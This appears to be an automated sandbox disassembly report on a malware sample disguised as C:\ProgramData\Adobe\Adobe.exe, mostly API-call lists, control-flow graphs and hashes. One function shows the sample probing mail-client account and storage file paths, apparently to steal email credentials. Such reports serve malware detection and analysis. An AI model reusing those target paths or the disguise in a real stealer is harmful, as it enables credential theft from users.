                                                                                                                              • Snapshot File: hcaresult_4_2_10000000_Adobe.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
                                                                                                                              • String ID: csm
                                                                                                                              • API String ID: 1170836740-1018135373
                                                                                                                              • Opcode ID: 314e045d64bd9dff90e147ebc0021a06731dbc25050b3dab86f6a1545ce1a07e
                                                                                                                              • Instruction ID: 0a936c430148d26a69835db3fa9f683d01d5328c1142e13f0191aacd949c771e
                                                                                                                              • Opcode Fuzzy Hash: 314e045d64bd9dff90e147ebc0021a06731dbc25050b3dab86f6a1545ce1a07e
                                                                                                                              • Instruction Fuzzy Hash: D141D678E042189BEB12CF68C880A9FBBF9EF453A4F10C155E9159F25AD731FA01CB91
                                                                                                                              Function 1000925D Relevance: 10.6, APIs: 7, Instructions: 65COMMONLIBRARYCODE
                                                                                                                              Download Yara Rule

                                                                                                                              Control-flow Graph

                                                                                                                              APIs
                                                                                                                                • Part of subcall function 10009221: _free.LIBCMT ref: 1000924A
                                                                                                                              • _free.LIBCMT ref: 100092AB
                                                                                                                                • Part of subcall function 1000571E: HeapFree.KERNEL32(00000000,00000000,?,1000924F,?,00000000,?,00000000,?,10009276,?,00000007,?,?,10007E5A,?), ref: 10005734
                                                                                                                                • Part of subcall function 1000571E: GetLastError.KERNEL32(?,?,1000924F,?,00000000,?,00000000,?,10009276,?,00000007,?,?,10007E5A,?,?), ref: 10005746
                                                                                                                              • _free.LIBCMT ref: 100092B6
                                                                                                                              • _free.LIBCMT ref: 100092C1
                                                                                                                              • _free.LIBCMT ref: 10009315
                                                                                                                              • _free.LIBCMT ref: 10009320
                                                                                                                              • _free.LIBCMT ref: 1000932B
                                                                                                                              • _free.LIBCMT ref: 10009336
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000004.00000002.4179715263.0000000010001000.00000040.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                                                                                              • Associated: 00000004.00000002.4179685311.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                              • Associated: 00000004.00000002.4179715263.0000000010016000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_4_2_10000000_Adobe.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: _free$ErrorFreeHeapLast
                                                                                                                              • String ID:
                                                                                                                              • API String ID: 776569668-0
                                                                                                                              • Opcode ID: 1a15e4038a9c55df62fbd1c49a93c652c8e4a7ee207dd1f8de08331087c78b01
                                                                                                                              • Instruction ID: 62dea9ede071ec04ae7e8d39c2d2a9b8d59ba4565e42afa4a1a73bd13a3591d1
                                                                                                                              • Opcode Fuzzy Hash: 1a15e4038a9c55df62fbd1c49a93c652c8e4a7ee207dd1f8de08331087c78b01
                                                                                                                              • Instruction Fuzzy Hash: 3E118E35548B08FAFA20EBB0EC47FCB7B9DEF04780F400824BA9DB6097DA25B5249751
                                                                                                                              Function 10008821 Relevance: 9.2, APIs: 6, Instructions: 216COMMON
                                                                                                                              Download Yara Rule

                                                                                                                              Control-flow Graph

                                                                                                                              • Executed
                                                                                                                              • Not Executed
                                                                                                                              control_flow_graph 488 10008821-1000883a 489 10008850-10008855 488->489 490 1000883c-1000884c call 10009341 488->490 492 10008862-10008886 MultiByteToWideChar 489->492 493 10008857-1000885f 489->493 490->489 497 1000884e 490->497 495 10008a19-10008a2c call 10002ada 492->495 496 1000888c-10008898 492->496 493->492 498 1000889a-100088ab 496->498 499 100088ec 496->499 497->489 502 100088ca-100088db call 100056d0 498->502 503 100088ad-100088bc call 1000bf20 498->503 501 100088ee-100088f0 499->501 506 100088f6-10008909 MultiByteToWideChar 501->506 507 10008a0e 501->507 502->507 513 100088e1 502->513 503->507 516 100088c2-100088c8 503->516 506->507 510 1000890f-1000892a call 10005f19 506->510 511 10008a10-10008a17 call 10008801 507->511 510->507 520 10008930-10008937 510->520 511->495 517 100088e7-100088ea 513->517 516->517 517->501 521 10008971-1000897d 520->521 522 10008939-1000893e 520->522 523 100089c9 521->523 524 1000897f-10008990 521->524 522->511 525 10008944-10008946 522->525 528 100089cb-100089cd 523->528 526 10008992-100089a1 call 1000bf20 524->526 527 100089ab-100089bc call 100056d0 524->527 525->507 529 1000894c-10008966 call 10005f19 525->529 532 10008a07-10008a0d call 10008801 526->532 542 100089a3-100089a9 526->542 527->532 544 100089be 527->544 528->532 533 100089cf-100089e8 call 10005f19 528->533 529->511 541 1000896c 529->541 532->507 533->532 545 100089ea-100089f1 533->545 541->507 546 100089c4-100089c7 542->546 544->546 547 100089f3-100089f4 545->547 548 10008a2d-10008a33 545->548 546->528 549 100089f5-10008a05 WideCharToMultiByte 547->549 548->549 549->532 550 10008a35-10008a3c call 10008801 549->550 550->511
                                                                                                                              APIs
                                                                                                                              • MultiByteToWideChar.KERNEL32(?,00000000,?,?,00000000,00000000,00000100,10006FFD,00000000,?,?,?,10008A72,?,?,00000100), ref: 1000887B
                                                                                                                              • MultiByteToWideChar.KERNEL32(?,00000001,?,?,00000000,?,?,?,?,10008A72,?,?,00000100,5EFC4D8B,?,?), ref: 10008901
                                                                                                                              • WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,5EFC4D8B,00000100,00000000,00000000,?,00000400,00000000,?,00000000,00000000,00000000,00000000), ref: 100089FB
                                                                                                                              • __freea.LIBCMT ref: 10008A08
                                                                                                                                • Part of subcall function 100056D0: RtlAllocateHeap.NTDLL(00000000,?,00000000), ref: 10005702
                                                                                                                              • __freea.LIBCMT ref: 10008A11
                                                                                                                              • __freea.LIBCMT ref: 10008A36
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000004.00000002.4179715263.0000000010001000.00000040.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                                                                                              • Associated: 00000004.00000002.4179685311.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                              • Associated: 00000004.00000002.4179715263.0000000010016000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_4_2_10000000_Adobe.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: ByteCharMultiWide__freea$AllocateHeap
                                                                                                                              • String ID:
                                                                                                                              • API String ID: 1414292761-0
                                                                                                                              • Opcode ID: bbd44e65680a142b819532ff26adde273e0ccd3bd0c95f1520c1a5c0857fc469
                                                                                                                              • Instruction ID: 3f57ce737592ef9202bcebfaa3f65c0582e3f3231b4dd00ae19a895c9b397c34
                                                                                                                              • Opcode Fuzzy Hash: bbd44e65680a142b819532ff26adde273e0ccd3bd0c95f1520c1a5c0857fc469
                                                                                                                              • Instruction Fuzzy Hash: 4F51CF72710216ABFB15CF60CC85EAB37A9FB417D0F11462AFC44D6148EB35EE509BA1
                                                                                                                              Function 100015DA Relevance: 9.1, APIs: 6, Instructions: 84stringCOMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              • _strlen.LIBCMT ref: 10001607
                                                                                                                              • _strcat.LIBCMT ref: 1000161D
                                                                                                                              • lstrlenW.KERNEL32(?,00000000,00000000,00000000,?,?,?,?,1000190E,?,?,00000000,?,00000000), ref: 10001643
                                                                                                                              • lstrcatW.KERNEL32(?,?,?,?,?,?,1000190E,?,?,00000000,?,00000000,?,?,?,00000104), ref: 1000165A
                                                                                                                              • lstrlenW.KERNEL32(?,?,?,?,?,1000190E,?,?,00000000,?,00000000,?,?,?,00000104,?), ref: 10001661
                                                                                                                              • lstrcatW.KERNEL32(00001008,?,?,?,?,?,1000190E,?,?,00000000,?,00000000,?,?,?,00000104), ref: 10001686
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000004.00000002.4179715263.0000000010001000.00000040.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                                                                                              • Associated: 00000004.00000002.4179685311.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                              • Associated: 00000004.00000002.4179715263.0000000010016000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_4_2_10000000_Adobe.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: lstrcatlstrlen$_strcat_strlen
                                                                                                                              • String ID:
                                                                                                                              • API String ID: 1922816806-0
                                                                                                                              • Opcode ID: 315c55c979a72bdf3ac51594b752bef976f460307e9923370b73d2b1bd80b905
                                                                                                                              • Instruction ID: a267a6945d1554df97f4c8e17fbec8689bbb0548aac84132402ab8fad08d9bbc
                                                                                                                              • Opcode Fuzzy Hash: 315c55c979a72bdf3ac51594b752bef976f460307e9923370b73d2b1bd80b905
                                                                                                                              • Instruction Fuzzy Hash: 9821A776900204ABEB05DBA4DC85FEE77B8EF88750F24401BF604AB185DF34B94587A9
                                                                                                                              Function 10001000 Relevance: 9.1, APIs: 6, Instructions: 76stringCOMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              • lstrcatW.KERNEL32(?,?,?,?,?,00000000), ref: 10001038
                                                                                                                              • lstrlenW.KERNEL32(?,?,?,?,00000000), ref: 1000104B
                                                                                                                              • lstrlenW.KERNEL32(?,?,?,?,00000000), ref: 10001061
                                                                                                                              • lstrlenW.KERNEL32(?,?,?,?,?,00000000), ref: 10001075
                                                                                                                              • GetFileAttributesW.KERNEL32(?,?,?,00000000), ref: 10001090
                                                                                                                              • lstrlenW.KERNEL32(?,?,?,00000000), ref: 100010B8
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000004.00000002.4179715263.0000000010001000.00000040.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                                                                                              • Associated: 00000004.00000002.4179685311.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                              • Associated: 00000004.00000002.4179715263.0000000010016000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_4_2_10000000_Adobe.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: lstrlen$AttributesFilelstrcat
                                                                                                                              • String ID:
                                                                                                                              • API String ID: 3594823470-0
                                                                                                                              • Opcode ID: c62e9e5fa69f7526a4dcdb62aa87bf44082eca201cfcddb2e536fed9ba73336f
                                                                                                                              • Instruction ID: f5da6160d3db499da992451a69b84f141dc83571de07cfa19ff2ab3d93a8fd2c
                                                                                                                              • Opcode Fuzzy Hash: c62e9e5fa69f7526a4dcdb62aa87bf44082eca201cfcddb2e536fed9ba73336f
                                                                                                                              • Instruction Fuzzy Hash: DB21E5359003289BEF10DBA0DC48EDF37B8EF44294F104556E999931A6DE709EC5CF50
                                                                                                                              Function 10003856 Relevance: 9.1, APIs: 6, Instructions: 60COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              • GetLastError.KERNEL32(?,?,10003518,100023F1,10001F17), ref: 10003864
                                                                                                                              • ___vcrt_FlsGetValue.LIBVCRUNTIME ref: 10003872
                                                                                                                              • ___vcrt_FlsSetValue.LIBVCRUNTIME ref: 1000388B
                                                                                                                              • SetLastError.KERNEL32(00000000,?,10003518,100023F1,10001F17), ref: 100038DD
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000004.00000002.4179715263.0000000010001000.00000040.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                                                                                              • Associated: 00000004.00000002.4179685311.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                              • Associated: 00000004.00000002.4179715263.0000000010016000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_4_2_10000000_Adobe.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: ErrorLastValue___vcrt_
                                                                                                                              • String ID:
                                                                                                                              • API String ID: 3852720340-0
                                                                                                                              • Opcode ID: 669731f2127195b9a905fed2c89c9d5b837464d933d8447bfa53086d9201cd33
                                                                                                                              • Instruction ID: 2a33bd680f99e964f7cdf1ea0b0e713dcb61597015083b2077453114c578dac0
                                                                                                                              • Opcode Fuzzy Hash: 669731f2127195b9a905fed2c89c9d5b837464d933d8447bfa53086d9201cd33
                                                                                                                              • Instruction Fuzzy Hash: 0F012432608B225EF207D7796CCAA0B2BDDDB096F9B20C27AF510940E9EF219C009300
                                                                                                                              Function 10005AF6 Relevance: 9.0, APIs: 6, Instructions: 50COMMONLIBRARYCODE
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              • GetLastError.KERNEL32(?,?,10006C6C), ref: 10005AFA
                                                                                                                              • _free.LIBCMT ref: 10005B2D
                                                                                                                              • _free.LIBCMT ref: 10005B55
                                                                                                                              • SetLastError.KERNEL32(00000000,?,?,10006C6C), ref: 10005B62
                                                                                                                              • SetLastError.KERNEL32(00000000,?,?,10006C6C), ref: 10005B6E
                                                                                                                              • _abort.LIBCMT ref: 10005B74
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000004.00000002.4179715263.0000000010001000.00000040.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                                                                                              • Associated: 00000004.00000002.4179685311.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                              • Associated: 00000004.00000002.4179715263.0000000010016000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_4_2_10000000_Adobe.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: ErrorLast$_free$_abort
                                                                                                                              • String ID:
                                                                                                                              • API String ID: 3160817290-0
                                                                                                                              • Opcode ID: c9cb188a03aa1811073f11ee06fa520bea6a831bfab7ff5292fc2b03e8e202de
                                                                                                                              • Instruction ID: 6ab9c425fee0725613b21b3b36aaf5e4259b246f4cabca8c388d0d7fb541d563
                                                                                                                              • Opcode Fuzzy Hash: c9cb188a03aa1811073f11ee06fa520bea6a831bfab7ff5292fc2b03e8e202de
                                                                                                                              • Instruction Fuzzy Hash: 8FF0A47A508911AAF212E3346C4AF0F36AACBC55E3F264125F918A619DFF27B9024174
                                                                                                                              Function 100011EA Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 90COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                                • Part of subcall function 10001E89: lstrlenW.KERNEL32(?,?,?,?,?,100010DF,?,?,?,00000000), ref: 10001E9A
                                                                                                                                • Part of subcall function 10001E89: lstrcatW.KERNEL32(?,?,?,100010DF,?,?,?,00000000), ref: 10001EAC
                                                                                                                                • Part of subcall function 10001E89: lstrlenW.KERNEL32(?,?,100010DF,?,?,?,00000000), ref: 10001EB3
                                                                                                                                • Part of subcall function 10001E89: lstrlenW.KERNEL32(?,?,100010DF,?,?,?,00000000), ref: 10001EC8
                                                                                                                                • Part of subcall function 10001E89: lstrcatW.KERNEL32(?,100010DF,?,100010DF,?,?,?,00000000), ref: 10001ED3
                                                                                                                              • GetFileAttributesW.KERNEL32(?,?,?,?), ref: 1000122A
                                                                                                                                • Part of subcall function 1000173A: _strlen.LIBCMT ref: 10001855
                                                                                                                                • Part of subcall function 1000173A: _strlen.LIBCMT ref: 10001869
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000004.00000002.4179715263.0000000010001000.00000040.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                                                                                              • Associated: 00000004.00000002.4179685311.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                              • Associated: 00000004.00000002.4179715263.0000000010016000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_4_2_10000000_Adobe.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: lstrlen$_strlenlstrcat$AttributesFile
                                                                                                                              • String ID: \Accounts\Account.rec0$\Data\AccCfg\Accounts.tdat$\Mail\$\Storage\
                                                                                                                              • API String ID: 4036392271-1520055953
                                                                                                                              • Opcode ID: 09c536ecd907401b0aa489f333ca62d314ebad464b807bf11bf7235871964734
                                                                                                                              • Instruction ID: e2b7c7e1c3038021adfe9ab266432482c710e64fc4cfb1bae4cfd9c1521b4980
                                                                                                                              • Opcode Fuzzy Hash: 09c536ecd907401b0aa489f333ca62d314ebad464b807bf11bf7235871964734
                                                                                                                              • Instruction Fuzzy Hash: 4B21D579E142486AFB14D7A0EC92FED7339EF80754F000556F604EB1D5EBB16E818758
                                                                                                                              Function 10004B39 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 38libraryloaderCOMMONLIBRARYCODE
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              • GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,?,?,?,10004AEA,?,?,10004A8A,?,10012238,0000000C,10004BBD,00000000,00000000), ref: 10004B59
                                                                                                                              • GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 10004B6C
                                                                                                                              • FreeLibrary.KERNEL32(00000000,?,?,?,10004AEA,?,?,10004A8A,?,10012238,0000000C,10004BBD,00000000,00000000,00000001,10002082), ref: 10004B8F
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000004.00000002.4179715263.0000000010001000.00000040.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                                                                                              • Associated: 00000004.00000002.4179685311.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                              • Associated: 00000004.00000002.4179715263.0000000010016000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_4_2_10000000_Adobe.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: AddressFreeHandleLibraryModuleProc
                                                                                                                              • String ID: CorExitProcess$mscoree.dll
                                                                                                                              • API String ID: 4061214504-1276376045
                                                                                                                              • Opcode ID: 497ca4813dea5db040ed96ba3988917c23aad912c76c67efd82f8c60daebc881
                                                                                                                              • Instruction ID: e6e2f78cdd7cd30bdf2d4d174718ae12991e9b6ae5ca6a82eaba56a43cf4d13d
                                                                                                                              • Opcode Fuzzy Hash: 497ca4813dea5db040ed96ba3988917c23aad912c76c67efd82f8c60daebc881
                                                                                                                              • Instruction Fuzzy Hash: C8F03C71900218BBEB11AB94CC48BAEBFB9EF043D1F01416AE909A6164DF309941CAA5
                                                                                                                              Function 10007153 Relevance: 7.6, APIs: 5, Instructions: 68COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              • GetEnvironmentStringsW.KERNEL32 ref: 1000715C
                                                                                                                              • WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 1000717F
                                                                                                                                • Part of subcall function 100056D0: RtlAllocateHeap.NTDLL(00000000,?,00000000), ref: 10005702
                                                                                                                              • WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,00000000,00000000), ref: 100071A5
                                                                                                                              • _free.LIBCMT ref: 100071B8
                                                                                                                              • FreeEnvironmentStringsW.KERNEL32(00000000), ref: 100071C7
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000004.00000002.4179715263.0000000010001000.00000040.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                                                                                              • Associated: 00000004.00000002.4179685311.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                              • Associated: 00000004.00000002.4179715263.0000000010016000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_4_2_10000000_Adobe.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: ByteCharEnvironmentMultiStringsWide$AllocateFreeHeap_free
                                                                                                                              • String ID:
                                                                                                                              • API String ID: 336800556-0
                                                                                                                              • Opcode ID: dbf9df5b4a4e45fd59d7b0ba6c08b1d97dee470f846bf8241c04808ce4e83989
                                                                                                                              • Instruction ID: fdf90bdbf822fabaf3dd9d310e80898d5fc59248e37e3ebe61ec6e18e74c85b1
                                                                                                                              • Opcode Fuzzy Hash: dbf9df5b4a4e45fd59d7b0ba6c08b1d97dee470f846bf8241c04808ce4e83989
                                                                                                                              • Instruction Fuzzy Hash: 6601D872A01225BB73129BBE5C8CDBF2A6DFBC69E0311012AFD0CC7288DB658C0181B0
                                                                                                                              Function 10005B7A Relevance: 7.6, APIs: 5, Instructions: 53COMMONLIBRARYCODE
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              • GetLastError.KERNEL32(00000000,?,00000000,1000636D,10005713,00000000,?,10002249,?,?,10001D66,00000000,?,?,00000000), ref: 10005B7F
                                                                                                                              • _free.LIBCMT ref: 10005BB4
                                                                                                                              • _free.LIBCMT ref: 10005BDB
                                                                                                                              • SetLastError.KERNEL32(00000000,?,?,00000000,?,?,?,?,?,?,00000000), ref: 10005BE8
                                                                                                                              • SetLastError.KERNEL32(00000000,?,?,00000000,?,?,?,?,?,?,00000000), ref: 10005BF1
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000004.00000002.4179715263.0000000010001000.00000040.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                                                                                              • Associated: 00000004.00000002.4179685311.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                              • Associated: 00000004.00000002.4179715263.0000000010016000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_4_2_10000000_Adobe.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: ErrorLast$_free
                                                                                                                              • String ID:
                                                                                                                              • API String ID: 3170660625-0
                                                                                                                              • Opcode ID: 6445a1f563467e3e4669709244547b488691a64b9545451a4f80944232cffe94
                                                                                                                              • Instruction ID: a404960836b3e2f032ab47abdd1028028b52a365ddf0c47563f665e512f3cffd
                                                                                                                              • Opcode Fuzzy Hash: 6445a1f563467e3e4669709244547b488691a64b9545451a4f80944232cffe94
                                                                                                                              • Instruction Fuzzy Hash: 5501F47A108A52A7F202E7345C85E1F3AAEDBC55F37220025FD19A615EEF73FD024164
                                                                                                                              Function 10001E89 Relevance: 7.5, APIs: 5, Instructions: 41stringCOMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              • lstrlenW.KERNEL32(?,?,?,?,?,100010DF,?,?,?,00000000), ref: 10001E9A
                                                                                                                              • lstrcatW.KERNEL32(?,?,?,100010DF,?,?,?,00000000), ref: 10001EAC
                                                                                                                              • lstrlenW.KERNEL32(?,?,100010DF,?,?,?,00000000), ref: 10001EB3
                                                                                                                              • lstrlenW.KERNEL32(?,?,100010DF,?,?,?,00000000), ref: 10001EC8
                                                                                                                              • lstrcatW.KERNEL32(?,100010DF,?,100010DF,?,?,?,00000000), ref: 10001ED3
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000004.00000002.4179715263.0000000010001000.00000040.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                                                                                              • Associated: 00000004.00000002.4179685311.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                              • Associated: 00000004.00000002.4179715263.0000000010016000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_4_2_10000000_Adobe.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: lstrlen$lstrcat
                                                                                                                              • String ID:
                                                                                                                              • API String ID: 493641738-0
                                                                                                                              • Opcode ID: 15c5d9995ac510f09c0b88b7baf044722e7f40351600db373de5a6e0e33856fc
                                                                                                                              • Instruction ID: f5d9027fafc921fe84ae6627056796c55de3fa1ad923a59450c5185d8ca5453c
                                                                                                                              • Opcode Fuzzy Hash: 15c5d9995ac510f09c0b88b7baf044722e7f40351600db373de5a6e0e33856fc
                                                                                                                              • Instruction Fuzzy Hash: D8F082261002207AF621772AECC5FBF7B7CEFC6AA0F04001AFA0C83194DB54684292B5
                                                                                                                              Function 100091B8 Relevance: 7.5, APIs: 5, Instructions: 40COMMONLIBRARYCODE
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              • _free.LIBCMT ref: 100091D0
                                                                                                                                • Part of subcall function 1000571E: HeapFree.KERNEL32(00000000,00000000,?,1000924F,?,00000000,?,00000000,?,10009276,?,00000007,?,?,10007E5A,?), ref: 10005734
                                                                                                                                • Part of subcall function 1000571E: GetLastError.KERNEL32(?,?,1000924F,?,00000000,?,00000000,?,10009276,?,00000007,?,?,10007E5A,?,?), ref: 10005746
                                                                                                                              • _free.LIBCMT ref: 100091E2
                                                                                                                              • _free.LIBCMT ref: 100091F4
                                                                                                                              • _free.LIBCMT ref: 10009206
                                                                                                                              • _free.LIBCMT ref: 10009218
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000004.00000002.4179715263.0000000010001000.00000040.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                                                                                              • Associated: 00000004.00000002.4179685311.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                              • Associated: 00000004.00000002.4179715263.0000000010016000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_4_2_10000000_Adobe.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: _free$ErrorFreeHeapLast
                                                                                                                              • String ID:
                                                                                                                              • API String ID: 776569668-0
                                                                                                                              • Opcode ID: 531e654f2f11120a5df636ecca0a5618a09e043c7f3cd6e1a71cca3ab3857efc
                                                                                                                              • Instruction ID: a08e021c65853776c99c3fd86fadada58ae96d962e635c5153d22f52a77de1c5
                                                                                                                              • Opcode Fuzzy Hash: 531e654f2f11120a5df636ecca0a5618a09e043c7f3cd6e1a71cca3ab3857efc
                                                                                                                              • Instruction Fuzzy Hash: 77F06DB161C650ABE664DB58EAC6C4B7BEDFB003E13608805FC4DD7549CB31FC809A64
                                                                                                                              Function 10005351 Relevance: 7.5, APIs: 5, Instructions: 30COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              • _free.LIBCMT ref: 1000536F
                                                                                                                                • Part of subcall function 1000571E: HeapFree.KERNEL32(00000000,00000000,?,1000924F,?,00000000,?,00000000,?,10009276,?,00000007,?,?,10007E5A,?), ref: 10005734
                                                                                                                                • Part of subcall function 1000571E: GetLastError.KERNEL32(?,?,1000924F,?,00000000,?,00000000,?,10009276,?,00000007,?,?,10007E5A,?,?), ref: 10005746
                                                                                                                              • _free.LIBCMT ref: 10005381
                                                                                                                              • _free.LIBCMT ref: 10005394
                                                                                                                              • _free.LIBCMT ref: 100053A5
                                                                                                                              • _free.LIBCMT ref: 100053B6
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000004.00000002.4179715263.0000000010001000.00000040.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                                                                                              • Associated: 00000004.00000002.4179685311.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                              • Associated: 00000004.00000002.4179715263.0000000010016000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_4_2_10000000_Adobe.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: _free$ErrorFreeHeapLast
                                                                                                                              • String ID:
                                                                                                                              • API String ID: 776569668-0
                                                                                                                              • Opcode ID: 77e2762e1a20340d72e45a4044f221924c2ac7473818ed27067cb432955df604
                                                                                                                              • Instruction ID: ba906e9feca9bc6e71cd1aa5ebacb8f64a9f241ffe6b13fedf7f16c4e4854dfa
                                                                                                                              • Opcode Fuzzy Hash: 77e2762e1a20340d72e45a4044f221924c2ac7473818ed27067cb432955df604
                                                                                                                              • Instruction Fuzzy Hash: 38F0F478C18934EBF741DF28ADC140A3BB5F718A91342C15AFC1497279DB36D9429B84
                                                                                                                              Function 10004BDD Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 116COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              • GetModuleFileNameA.KERNEL32(00000000,C:\ProgramData\Adobe\Adobe.exe,00000104), ref: 10004C1D
                                                                                                                              • _free.LIBCMT ref: 10004CE8
                                                                                                                              • _free.LIBCMT ref: 10004CF2
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000004.00000002.4179715263.0000000010001000.00000040.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                                                                                              • Associated: 00000004.00000002.4179685311.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                              • Associated: 00000004.00000002.4179715263.0000000010016000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_4_2_10000000_Adobe.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: _free$FileModuleName
                                                                                                                              • String ID: C:\ProgramData\Adobe\Adobe.exe
                                                                                                                              • API String ID: 2506810119-1403210833
                                                                                                                              • Opcode ID: f4d765c9bb58478f6d614cb19d249666f691a76f34bd4fd838862d42c91d6eee
                                                                                                                              • Instruction ID: 12f2da1a58c9c923660241357757b5dddff340f6d61411cdc8d35d961f62cc7a
